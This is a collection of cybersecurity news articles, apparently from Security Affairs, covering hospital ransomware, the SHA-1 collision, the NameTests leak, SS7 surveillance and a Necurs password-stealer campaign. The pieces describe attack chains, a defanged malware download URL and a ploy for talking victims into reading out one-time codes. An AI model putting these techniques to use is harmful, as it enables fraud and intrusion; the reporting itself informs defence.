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New ransomware infections hit hospitals in Germany, at least two of them were infected by the dreaded malware., According to local reports, the systems at two German hospitals were infected by a ransomware, in a similar way occurred recently at the US Hollywood Presbyterian Medical Center., According to the German broadcaster Deutsche Welle, the German hospitals infected by the ransomware are the Lukas Hospital in the city of Neuss and the Klinikum Arnsberg hospital in North Rhine-Westphalia., , “Several hospitals in Germany have come under attack by ransomware, a type of virus that locks files and demands cash to free data it maliciously encrypted. It will take weeks until all systems are up and running again.” reported the broadcaster., A few weeks ago, the staff at the Lukas Hospital noticed a progressive deterioration of system performance, while error messages were popping up., “We then pulled the plug on everything,” spokesperson Dr. Andreas Kremer told DW. “Computers, servers, even the email server, and we went offline.” , The ransomware paralyzed the hospital’s architecture, the incident occurred on February 10, 2016. The internal IT staff will take weeks until everything’s back to normal., “Our IT department quickly realized that we caught malware that encrypts data. So if the X-ray system wants to access system data, it failed to find it because it’s been encrypted, so it displays an error message,” Kremer said., The staff at the hospital used phone and fax to communicate with patients, the staff explained that a number of high-risk surgeries have been postponed because of the cyber attack., The hospital reported the incident to the authorities and to the State Criminal Investigation Office (LKA) which are currently investigating on the case., “We haven’t received a concrete demand for money, but we’ve seen these pop up windows that appear if you don’t stop the ransomware on a computer,” he told DW. The message in broken English points to an anonymous email address to get in touch with. “Following the Criminal Police Office’s advice, we didn’t do that,” Kremer said., Fortunately, the IT staff at the hospital makes regular backups of the data., “We have regular backups, so that isn’t a problem. If the virus encrypted data we have backed up, we just restore the backup files,” Kremer said., The incident at Klinikum Arnsberg occurred a couple of days later, also in this case the systems were infected by a ransomware that was spread through phishing emails., In this case, only one of 200 servers was infected by the malware, the IT staff recovered the situation by restoring a working backup., “According to present knowledge, it was an attachment in an email that allowed the virus to enter the system,” Klinikum Arnsberg spokesperson Richard Bornkeßel told DW. “Fortunately, it was only one server that was affected. The virus had started to encrypt files, but we could simply restore them from a backup,”, Both German hospitals haven’t paid the ransom., Pierluigi Paganini, (Security Affairs – ransomware, German Hospitals)

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Researchers at Google and Centrum Wiskunde & Informatica (CWI) in the Netherlands succeeded in conducting the first real world collision attack against popular SHA-1 hashing algorithm., The researchers created two documents with different content but having the same SHA-1 hashes., Google and CWI devised a hacking method dubbed ‘SHA-1 shattered’ or ‘SHAttered.’, “We were able to find this collision by combining many special cryptanalytic techniques in complex ways and improving upon previous work. In total the computational effort spent is equivalent to 2 63.1 SHA-1 compressions and took approximately 6 500 CPU years and 100 GPU years,” experts wrote in the research paper., The SHA-1 algorithm was designed in 1995 by the National Security Agency (NSA) as a part of the Digital Signature Algorithm, as we have already explained in the past hashing functions converts any input message to a string of numbers and letters of fixed length. This string is theoretically unique and is normally used as a cryptographic fingerprint for that message., If two different messages generate the same digest we are in the presence of a collision, this circumstance opens the door to hackers. A successful collision attack could be exploited by hackers to forge digital signatures., In 2015 a group of researchers demonstrated that the cost of breaking the SHA-1 hash algorithm is lower than previously estimated., The experts evaluated the economic effort requested to break the SHA1-1, experts in a range from $75,000 and $120,000 using Amazon’s EC2 cloud over a period of a few months., According to the experts, the SHAttered attack is 100,000 times faster than a brute-force attack, it required nine quintillion (9,223,372,036,854,775,808) computations., The SHAttered attack was composed of two phases:, The monetary cost of computing the second block of the attack by renting Amazon instances can be estimated from these various data. According to the experts, it would cost roughly $560,000 for the necessary 71 device years. It would be more economical for a patient attacker to wait for low “spot prices.”, The experts used two PDF files with different content for their PoC, the two documents had the same SHA-1 hash., , The researchers will release the code of the attack after 90 days., The experts released a free online tool that scans for SHA-1 collisions in documents, it is available on the shattered.io website. Google has already introduction mitigation solutions in both Gmail and Google Drive services., I suggest you give a look at this interesting infographic on the SHAttered attack., Pierluigi Paganini, (Security Affairs – SHAttered attack,  SHA-1)

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TeslaCrypt is one of the most insidious ransomware first detected in the wild in 2015, today I have a good news for its victims., TeslaCrypt was first detected in February 2015, the ransomware was able to encrypt user data including files associated with video games. In July, a new variant appeared in the wild, TeslaCrypt 2.0, the authors improved the encryption mechanism., Both strains of the ransomware, TeslaCrypt and TeslaCrypt 2.0, are affected by a security flaw that has been exploited by security experts to develop  a free file decryption tool., The design issue affects the encryption key storage algorithm, the vulnerability has been fixed with the new release TeslaCrypt 3.0 which was improved in a significant way., , The security expert Lawrence Abrams published an interesting blog post detailing the issue, confirming that the decryption tool was available for a while but the news was not disclosed to avoid countermeasures of the malware developers., Unfortunately, TeslaCrypt 3.0 resolves the issue, then research community decided to release decryption tools in the wild (i.e. TeslaCrack ( “For a little over a month, researchers and previous victims have been quietly helping TeslaCrypt victims get their files back using a flaw in the TeslaCrypt’s encryption key storage algorithm. The information that the ransomware could be decrypted was being kept quiet so that that the malware developer would not learn about it and fix the flaw. Since the recently released TeslaCrypt 3.0 has fixed this flaw, we have decided to publish the information on how a victim could generate the decryption key for encrypted TeslaCrypt files that have the extensions .ECC, .EZZ, .EXX, .XYZ, .ZZZ,.AAA, .ABC, .CCC, and .VVV. Unfortunately, it is currently not possible to decrypt the newer versions of TeslaCrypt that utilize the .TTT, .XXX, and .MICRO extensions.” wrote Abrams., As explained in the post, files encrypted with the newer versions of TeslaCrypt are recognizable by the extension (.TTT, .XXX, and .MICRO) and cannot be decrypted., TeslaCrypt encrypts files with the AES encryption algorithm and uses the same key for both encryption and decryption. Abrams explained that the threat generated a new AES key each time it was restarted, and that it stored the key in the files encrypted during the session. The information about the encrypted key was stored in each encrypted file, fortunately the size of this stored key was vulnerable to decryption through specialized programs. These programs are able to factorize these large numbers, extract their prime numbers and pass them to other specialized tools used to reconstruct the decryption key., Another interesting tool for decrypting the files is TeslaDecoder, it has been available for decrypting TeslaCrypt files since May 2015 and it has been updated to recover the encryption key for all TeslaCrypt variants., If you are one of the numerous victims of the TeslaCrypt ransomware, now you can recover your files using TeslaCracker or TeslaDecoder., Good Luck, Pierluigi Paganini, (Security Affairs – TeslaCrypt, ransomware)

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With more than 980+ cyber security breaches across all online businesses and 35 million accounts exposed. Yahoo! In a 2016 report, disclosed that more than 1 billion accounts have been stolen. $400 billion was reportedly lost to cyber attacks across all industries this year. With this trend, the losses are set to top out at around $2.1 Trillion by 2019., Now, let’s look at the top 4 incidences of bots that altered history in 2016., , Brexit: Automated social media accounts produced by both sides of the debate created these bots to have a massive influence on the referendum vote; especially on those last-minute ‘undecideds’ Researchers from Oxford University have found that bots played a strategic role during the debate. The social media bots helped to circulate ‘repetitive’ political content to manipulate the thinking of the general public. Social media bots had a very simple role to play during Brexit, they had to tweet pro or anti Brexit tweets over and over again or just retweet /share messages of influencers on either side.  This helped them float the message they wanted for a much longer time, on the social media platforms than required., US elections: As per Twitter Audit, Donald Trump’s twitter account had almost 40% inactive, fake and spam followers, while Hillary Clinton had around 37%. The number roughly adds up to more than 7 million fake/inactive bot accounts that were circulating messages across the globe. These bot accounts helped in propagating messages for both the candidates involved and heavily influenced the undecided voter., Under the scanner, Impact of Twitter, Facebook, and other social media might be not be considered a serious threat. But the bots spreading propaganda are usually encountered by journalists who use social media. Journalists, in-turn, interpret these bot propagated messages as a trend among people and report it. This increases the influence of such bad social media bots even more. It is crazy how bots can influence and change the course of history for 2 major nations last year, and it’s just the beginning. German Chancellor Angela Merkel’s apprehensions on bots manipulating the upcoming German elections are not unfounded., Good chatbots went bad: When Microsoft launched Tay (AI Twitter chat bot) on March 23, 2016, it was the start of a new era. Tay was programmed to learn from its interactions with real users on twitter. Tay, however, ended up becoming a vulgar, racist bot within a few hours. The bot, however, was taken down by Microsoft within 16 hours. By and by, Tay tweeted 96,000 times before it went offline., According to a famous online ticket selling website, TicketMaster. In 2016, bots tried to buy 5 billion tickets, or 10,000 a minute, on their website. This resulted in 60% of the tickets getting scalped by bots., With the surge in malicious bots, there is a need to stop them before they could harm your online businesses. Bots have been increasingly malicious and damaging for all online businesses., So, have you thought about how your online business may be silently targeted by bad bots? How is your 2017 IT roadmap poised to address bot threats?, About the Author Benjamin Raj Kumar, Digital Marketing Specialist, ShieldSquare, LinkedIn | Twitter | ShieldSquare Website, Pierluigi Paganini, (Security Affairs – bots, malware)

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I’v been working on cybersecurity for most than 10 years. During my career, I’ve held numerous roles which took me facing many problems: I had to solve technical issues as well as management, economic and financial ones. Every time I needed a “tool” to help a decision or to solve a technical question I started by seeking on “sourceforge/github” looking for something that would fit my needs. If what I needed wasn’t there, I’ve always built it on my own by using what was available at that time. Nowadays, those tools are still producing data which I believe might be useful to many people. Today I’d like to introduce you a simple but interesting malware catching tool base on static YARA rules that is available HERE., It takes sample feeds and it analyses them against hundreds of YARA rules. Some of them are publicly available some other have been written on my own. The engine is quite slow right now, but it has analysed several recent Samples. You might decide to get deep into last processed samples by clicking on table raw (which highlights last 10 processed samples) or to search for a specific hash by pasting your desired sha256 and clicking on the “Search” button. , In both ways, a modal form will appear showing out the rules that match the hash you asked for. Since it’s a personal platform it could be quite slow so far. Hope you enjoy it! Have fun, About the author: Marco Ramilli, Founder of Yoroi, I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems., I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cybersecurity experiences by diving into SCADA security issues with some of the biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cybersecurity defence center I’ve ever experienced! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans, Edited by Pierluigi Paganini, (Security Affairs – MartyMcFly, malware)

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A bug on the Nametests.com exposed data of over 120 million users who took personality quizzes on Facebook, the good news is that the flaw was addressed as part of the Facebook’s Data Abuse Bounty Program launched in April., , The issue resided in Nametests.com that shares users’ data with any third-party that requested it., The flaw was reported by the researchers Inti De Ceukelaire, who explained that when loading a personality test, the website displays personal information loaded from The data loaded from Nametests.com was wrapped in JavaScript, this means that it could be shared with other websites., “In a normal situation, other websites would not be able to access this information. Web browsers have mechanisms in place to prevent that from happening.” the researcher wrote in a blog post., “Since NameTests displayed their user’s personal data in JavaScript file, virtually any website could access it when they would request it,”, The experts set up a website that fetched data about the visitor from the Nametests.com website. In turn, ametests.com provided the access token that could also be used to gain access to the visitor’s posts, photos and friends, depending on the permissions granted., “NameTests would also provide a secret key called an access token, which, depending on the permissions granted, could be used to gain access to a visitor’s posts, photos and friends. It would only take one visit to our website to gain access to someone’s personal information for up to two months.” De Ceukelaire added., Below the video PoC published by the expert that shows how NameTests was revealing visitor’s identity even after deleting the app., , In order to prevent such behavior, the user would have had to manually delete the cookies on their device., The expert also discovered that the user information would continue to be available through the website even after they deleted the application. Users would have had to manually delete the cookies on their devices to prevent their data from being leaked., The issue was reported to Facebook’s Data Abuse program on April 22 and the company and a fix was rolled out on June 25., According to Facebook, the bug could “have affected Facebook information people shared with nametests.com”, in response to the incident the tech giant revoked the access tokens for everyone on Facebook who has signed up to use this app, “It was reported by Inti De Ceukelaire and we worked with the app’s developer — Social Sweethearts — to address the website vulnerability he identified which could have affected Facebook information people shared with nametests.com.” reads a post published by Facebook., ” To be on the safe side, we revoked the access tokens for everyone on Facebook who has signed up to use this app. So people will need to re-authorize the app in order to continue using it.”, , Facebook awarded the expert with $8,000 instead $4,000 bounty because he chose to donate it to charity., “I also got a response from NameTests. The public relations team claims that, according to the data and knowledge they have, they found no evidence of abuse by a third party. They also state that they have implemented additional tests to find such bugs and avoid them in the future,” the researcher concluded., Pierluigi Paganini, (Security Affairs – Facebook, NameTests)

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Late July a hacker who goes online with the moniker LeakTheAnalyst claimed to have breached FireEye systems. The hacker leaked details alleged stolen from a compromised system maintained by Adi Peretz, a Senior Analyst at Mandiant., The hacker leaked a 337MB PST file containing the expert’s emails and also images of its accounts, including One Drive, Live, LinkedIn, geo-tracking of personal devices for at least a year, billing records and PayPal receipts., At that time, the hacker claimed to have launched the #LeakTheAnalyst operation that aimed at doxing the security analysts who hunt hackers., “Let’s trash their reputation in the field,” the hacker said. “It was fun to be inside a giant company named “Mandiant” we enjoyed watching how they try to protect their clients and how their dumb analysts are trying to reverse engineer malware and stuff.”, “This leak was just a glimpse of how deep we breached into Mandiant, we might publish more critical data in the future.”, , FireEye denied any intrusion in its systems, according to the security firm, the hackers did not hack the company network or the Adi Peretz’s personal or corporate computers., The login credentials used by Peretz were exposed in the past in numerous data breaches, including LinkedIn., The experts discovered that the attackers started using the stolen credentials to access several of the Victim’s personal online accounts (LinkedIn, Hotmail and OneDrive accounts) in September 2016., The documents publicly released were obtained from the victim’s personal online accounts and many of them were already available online., On Thursday, the alleged hacker has been arrested and taken into custody by international police. The news was confirmed by FireEye CEO Kevin Mandia at the company’s Q3 Earnings Results Conference Call on Wednesday., “These attackers rarely, if ever get caught…Over my career, I have found it frustrating how little risk or repercussions exist for the attackers, who hide behind the anonymity of the internet to cause harm to good, well-intentioned people,” Mandia said., “Therefore, I am pleased that, in this case, we were able to impose repercussions for the attacker and achieve a small victory for the good guys.”, Mandia explained that his company had to sink a “tremendous amount of its time and effort into investigating the hacker’s claims.”, Pierluigi Paganini, (Security Affairs – FireEye, LeakTheAnalyst)

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Trusteer Researchers have found a professional calling service that has been designed for cybercriminals needs. The service is organized to offer the extraction of sensitive information needed for bank fraud and identity theft from individuals., The security company Trusteer has discovered an advertisement for making targeted call calls in different languages to private individuals, banks, shops, post offices and similar organizations. $10 per call, this is the price for the service offered, cybercriminals were offered the possibility of obtaining the missing pieces of information they needed to pull off attacks., Many criminals have refined the techniques for collecting the information necessary to conduct an attack against a specific target. Banks and other Financial Educational Institutions, however, have a high level of security provided for their services making it difficult to carry out fraud. The introductions of authentication mechanisms more or less complex as the one-time-use passwords (OTPS) or sending codes for authentication through mobile devices has actually increased the level of security for each transaction., To be able to retrieve the information described and then the service offers an on-demand social engineering to convince them to provide the information necessary to the success of the offense., What is surprising is the organizational model of the service, trained staff is able to embody all kinds of professionals such as computer technicians, computer technicians from ISPs (Internet service providers) or employees of companies that can supply all kinds of services, all to deceive the victims., For example, if a fraudster wants to log into an account by using stolen online banking credentials, but is prompted for an OTP because he uses a different IP address than the real account holder, he can give a caller the information needed to impersonate a bank employee.  Armed with things like the victim’s name, account number, birth date and other personal information, the caller can claim that he’s performing system checks and ask the targeted individual to read back the code sent to their phone., Illegal call services are not new and the number of rogue call centers has increased in recent years and all this services are available during American and European working hours, it might indicate that the group is operating in these regions,” said Trusteer security researcher Ayelet Heyman., According to Heyman, the service is still operational at this time and Trusteer is not aware of any types of actions taken to shut it down., There is also a possibility that the people behind it are routing the calls through compromised phone systems in order to decrease the costs of the operation, she said., Users should treat all unsolicited calls with caution, regardless of what kind of information the person on the other end of the line has about them, Klein advised. They should also confirm any suspicious requests with the organization the caller is claiming to represent, but they should do so by calling its publicly listed numbers, not those provided by the caller., The upward trend fot this kind of services is worrying. They are efficient, focused and with infinite patterns of implementation and are able to reap illustrious victims. The only way to reduce the phenomenon in question is through the information on the threat., Calling service helps cybercriminals extract sensitive info

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UNICRI (United Nations Interregional Crime and Justice Research Institute) published in September 2015 a new study about the IT security of Italian small and medium enterprises (SMEs). This research is focused on the first semester of 2015 and constitutes the first update following the release of the study entitled “Cybercrime and the risks for the economy and enterprises at the European Union and Italian levels”, which was published in December 2014 also by UNICRI., IT security for SMEs represents one of the most pressing challenges for both the economies of Italy and Europe. SMEs make up 99.8% of European and 99.9% of Italian enterprises, respectively. In the European Union (EU), 86.8 million people are employed within this sector making SMEs the backbone of the Italian and European economies. While at the same time, they also represent a major point of weakness in terms of security., SMEs are a very attractive target for cyber criminals; nevertheless, decision makers working in these enterprises still often underestimate the threat posed by cybercrime. No matter the nature of an SME’s business, every company is seen as a lucrative target. Various types of information, be it intellectual property, commercial data and contact lists, personal data, account credentials, and more can be sold on the black market to individuals intent on committing fraud, spreading malware and facilitating other crimes. At the corporate level, damage is not only caused via a simple, one-off or indiscriminate attack. Instead, many attacks have long-term consequences. We are now witnessing an increase in targeted attacks that have the aim of appropriating sensitive data, deleting data altogether, or stealing copyrighted material., Cyber crime is of a stronger nature and more widespread than one might imagine. In fact, most cyber attacks are still not being detected and/or reported. Losses due to cyber crime for an individual company can reach up to several million euros. Due to large-scale cyber attacks in 2014, approximately one billion records were compromised – affecting, on average, one in every three Internet users. Many of these records were totally unencrypted and thus easy to exploit., The number of ransomware attacks is more than doubled in 2014 – rising from an estimated 4.1 million attacks in 2013, to 8.8 million in 2014. From a psychological point of view, ransomware represents a very profitable form of attack because if a victim has not performed regular backups of their data, they are normally willing to pay the ransom in order to be allowed to retrieve it., About mobile, Alcatel-Lucent’s Motive Security Labs has estimated that more than 16 million mobile devices around the world have been infected with malware for the purpose of carrying out industrial and personnel espionage, to steal information and to attack companies, private, banks and government. In 2014 alone, mobile device infections increased by 25% (an increase of 5% compared to 2013)., The presence of money or data which can be stolen, and the ease with which violating a target can take place, are the main factors that cyber criminals consider when carrying out their activities. Unfortunately, SMEs meet both these requirements. Nowadays, digital information security and proper use of the web and computer tools must be considered a priority by each individual citizen, and especially by companies. In this scenario it is necessary to put in place a number of proactive measures to increase awareness in the field., Considering the growing trend regarding this type of threat, it is more important than ever to develop efficient preventative security systems., In the event of a security breach, many companies do not even realize they have been attacked. Moreover, when devising a cyber security strategy, enterprises often do not know what can be done in order to protect themselves from cyber threats, and erroneously believe that defensive actions are expensive and solely technical in nature., A framework for assistance in the implementation of IT security systems is a major aspect that is lacking in the Italian SME sector. Technical elements, such as antivirus software and firewalls, etc. are in use, but the formulation of a structured policy needs to be taken into account in order to build a base that can be adapted and re-implemented over time according to the evolution of cyber threats. In response to this environment and the analysis of existing gaps, a suggested plan of action has been the creation of a framework of comprehensive, identifiable guidelines that are adaptable to the various types of SMEs present within Italy., Accordingly a set of guidelines was drafted, and subsequently submitted to and validated by IT security experts from leading companies, such as Fastweb, IBM, Kaspersky and Microsoft. Additionally, the guidelines were also reviewed by three IT managers from three different enterprises who were interviewed within the previous study on SMEs. Cyber crime poses a severe risk to all types of enterprises present throughout Italy. Preventing these risks requires implementing initiatives based on both education and awareness. Action in this field is not only required on behalf of SMEs, but also needs to be taken into account at the national level., , Edited by Pierluigi Paganini, (Security Affairs – cybercrime , UNICRI), Guidelines for IT Security in SMEs3, 1 Why SMEs are an attractive target for cyber criminals and what they can do about it, by Neil Ford, 02-03-2015, in < (retrieved 21-05-2015), 2 Motive Security Labs malware report – H2 2014, Alcatel-Lucent’s Motive Security Labs, in < (retrieved 23-03-2015), 3 These Guidelines have been formulated thanks to the advice put forth by Dr. Daniele De Nicolò, and they have been validated by Fastweb, IBM, Kaspersky, Microsoft and IT Manager by Lucart, Lucense and Tagetik.

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Every time a new release of the popular Apple iOS is presented, hackers and experts start the competition to jailbreak it. One of the most active hacking crew in this sense is Pangu that has announced today they had successfully jailbroken several different iterations of iOS 9.  The iOS 9 jailbreak has arrived!, The same cracking team in October released a software that allowed Apple users to jailbreak their mobile devices using  iOS 8 and iOS 8.1, Jaibreaking the iOS device, users can bypass security restrictions and download apps from unofficial app repositories (i.e. Cydia). The procedure is also used to switch to a differed telecom operator when the device is locked., The group issued the announced through its Twitter account:, We are very excited to announce the release of Pangu 9, the first untethered jailbreak tool for iOS 9 ( — PanguTeam (@PanguTeam) 14 Ottobre 2015, , The Pangu group confirmed that their iOS 9 jailbreak works correctly on iOS versions 9.0-9.0.2 and according to the feedbacks received by several users it is true., , Apple did not respond to a request for comment., Device Jailbreak is also used by hackers to install on the target device a malware, the technique is very common among surveillance companies that use it to bypass security measured on the device., The surveillance company Hacking Team exploited device jailbreaking in order to infect the device with its spyware., Recently the company Zerodium Exploit trader offered a million dollar prize to any person that finds zero-day flaws in iOS 9, and it is unnecessary to tell you the reasons for the proposal., The Pangu’s iOS 9 jailbreak anyway doesn’t match the bounty conditions because it requests a user to download a file on a Windows computer to jailbreak their device instead the Zerodium firm doesn’t want any user interaction., “The whole exploitation/jailbreak process should be achievable remotely, reliably, silently, and without requiring any user interaction except visiting a web page or reading a SMS/MMS (attack vectors such as physical access, bluetooth, NFC, or baseband are not eligible for the Million Dollar iOS 9 Bug Bounty. ZERODIUM may, at its sole discretion, make a distinct offer to acquire such attack vectors.).” are the bounty conditions., Pierluigi Paganini, (Security Affairs – Pangu iOS 9 jailbreak, ios hacking)

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Israeli-based company Ability is planning a big marketing push aimed at law enforcement in the United States.  Ability Unlimited Interception System (ULIN) promises unlimited surveillance capabilities of revealing the location, calls, and texts of any cell phone on the planet.  The price tag, US$20 million, but with the necessity of responding to the more and more criminal activity being facilitated over mobile networks, the price could be well worth it to keep citizens safe., “Launched in November last year, it can cost as much as $20 million, depending on how many targets the customer wants to surveil.” reported Forbes. “All a ULIN customer requires is the target’s phone number or the IMSI (International Mobile Subscriber Identity), the unique identifier for an individual mobile device. Got those? Then boom – you can spy on a target’s location, calls and texts.”, , Ability was founded in 1993 by experts with military intelligence and communications backgrounds.  Specializing in off-air interception of cellular and even satellite communications, Ability’s ULIN technology is a leap forward in espionage capabilities. ULIN’s strength is its ability to capture GSM, MTS, and LTE phone traffic without the need of having to be within close proximity of the device, or with the consent of the mobile carrier, which the phone may belong too., At the core of ULIN, is its ability to exploit a vulnerability in Signaling System No. 7 (SS7), an international telecommunications standard that defines how public switched telephone networks (PSTN) exchange information over digital networks for mobile phones.  The SS7 nodes are called “signaling points” that use out-of-band signaling providing network efficiency and other services such as call forwarding., Ability licenses this vulnerability from an unknown third party and claims to solely granted access to, or knowledge of, the SS7 vulnerability. All that is required by law enforcement to tap into a phone is the mobile phone number of the target., Hacking of SS7 is nothing new.  In 2015, the FCC launched a probe into the problem after “60 Minutes” aired a report showing German computer scientist Karsten Nohl tapping into U.S. Representative Ted Lieu’s mobile phone.  In a counter argument, John Marinho, vice president of the mobile industry group CTIA, claimed Nohl was giving “extraordinary access” for his demonstration for 60 minutes.  Ability’s UNIL system appears to overcome that challenge, exploiting the bridge between end-of-life technology SS7, and fully digital networks., It is likely that civil liberties groups will take exception to Ability’s push into, “This system means that law enforcement will have the ability to conduct wiretaps and location tracking without anybody scrutinizing what they’re doing, and nobody may have the opportunity to push back and demand appropriate legal process.” , Additionally, it has yet to be determined how ULIN runs afoul of U.S. laws on wiretapping and electronic eavesdropping – a federal crime that carries stiff penalties in fines and even imprisonment., In the end, the opportunities for U.S. law enforcement may be too great an offer to refuse.  Even at a $20 million price tag, the capability of conducting criminal investigations bypassing the need of the consent of mobile carriers may reduce time and cost significantly enough to justify the expenditure.  The reality is, domestic surveillance is likely here to stay. The efficiency at which information flows between the federal government down to the hands of municipal law enforcement has been questionable in recent years, including the Boston Marathon bombing in 2013, which the real-time sharing of information prior to the bombing was called into question., The argument will ultimately boil down to safety versus privacy.  Which side Ability and its ULIN technology lands is yet to be seen., , Written by: Rick Gamache, Rick Gamache is a freelance writer with 25 years’ experience in the cyber security field. His past work includes the Managing Director of Wapack Labs, CIO of the Red Sky Alliance, and lead FISMA auditor for the US Navy’s destroyer program.  Rick has written several high-level cyber and general risk reports with an emphasis on the Nordic countries, India, Russia, and Ukraine and has traveled extensively, speaking on strategic cyber threat intelligence matters as they relate global supply chains., LinkedIn – Twitter – Pierluigi Paganini, (Security Affairs – Mobile, surveillence)

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Researchers at Trustwave have spotted a new malware-based campaign that uses a multi-stage infection to deploy a password stealer malware., Hackers leverage the infamous Necurs botnet to distribute spam emails delivering Microsoft Office documents that embedded malicious macros., DOCX attachments used by the attackers contain an embedded OLE object that has external references, the external access is provided to remote OLE objects to be referenced in the document.xml.rels., “Anyone can easily manipulate data in a Word 2007 file programmatically or manually. As shown below, the DOCX attachment contains an embedded OLE object that has external references. This ‘feature’ allows external access to remote OLE objects to be referenced in the document.xml.rels.” states the analysis published by trustwave., “When user opens the DOCX file, it causes a remote document file to be accessed from the URL: hxxp://gamestoredownload.download/WS-word2017pa.doc. This is actually a RTF file that is downloaded and executed.”, Once the victim opened the file, it will attempt to trigger the CVE-2017-11882 memory-corruption flaw that was used by many threat actors in the wild, including the Cobalt hacking group. Microsoft fixed the vulnerability in November, the CVE-2017-11882 flaw was discovered by the security researchers at Embedi, it affects the MS Office component EQNEDT32.EXE that is responsible for insertion and editing of equations (OLE objects) in documents., The component fails to properly handle objects in the memory, a bug that could be exploited by the attacker to execute malicious code in the context of the logged-in user., Back to the macro-based Multi-Stage attack discovered by Trustwave, the RTF file accessed after the victim opens the DOCX files executes an MSHTA command line to download and execute a remote HTA file., The HTA file contains VBScript with obfuscated code that decodes to a PowerShell Script designed to eventually downloads and executes a remote binary file that is a Password Stealer Malware., “The malware steals credentials from email, ftp, and browser programs by concatenating available strings in the memory and usage of the APIs RegOpenKeyExW and PathFileExistsW to check if registry or paths of various programs exist.” continues the analysis., , The password stealer will send data to the command and control server (C&C) via an HTTP POST., The most interesting aspect of this attack is the use of multiple stages to deliver the final payload, an approach that Trustwave calls unusual., Malware researchers at Trustwave highlighted that a so long infection chain is more likely to fail compared to other technique implemented in other attacks., “It’s pretty unusual to find so many stages and vectors being used to download malware. Indeed, this approach can be very risky for the malware author. If any one stage fails, it will have a domino effect on the whole process. Another noticeable point is that the attack uses file types (DOCX, RTF and HTA), that are not often blocked by email or network gateways unlike the more obvious scripting languages like VBS, JScript or WSF.” concludes Trustwave., The analysis published by Trustwave includes the Indicators of Compromise (IoCs)., Pierluigi Paganini, (Security Affairs – Macro-Based Multi-Stage Attack, Password Stealer), ,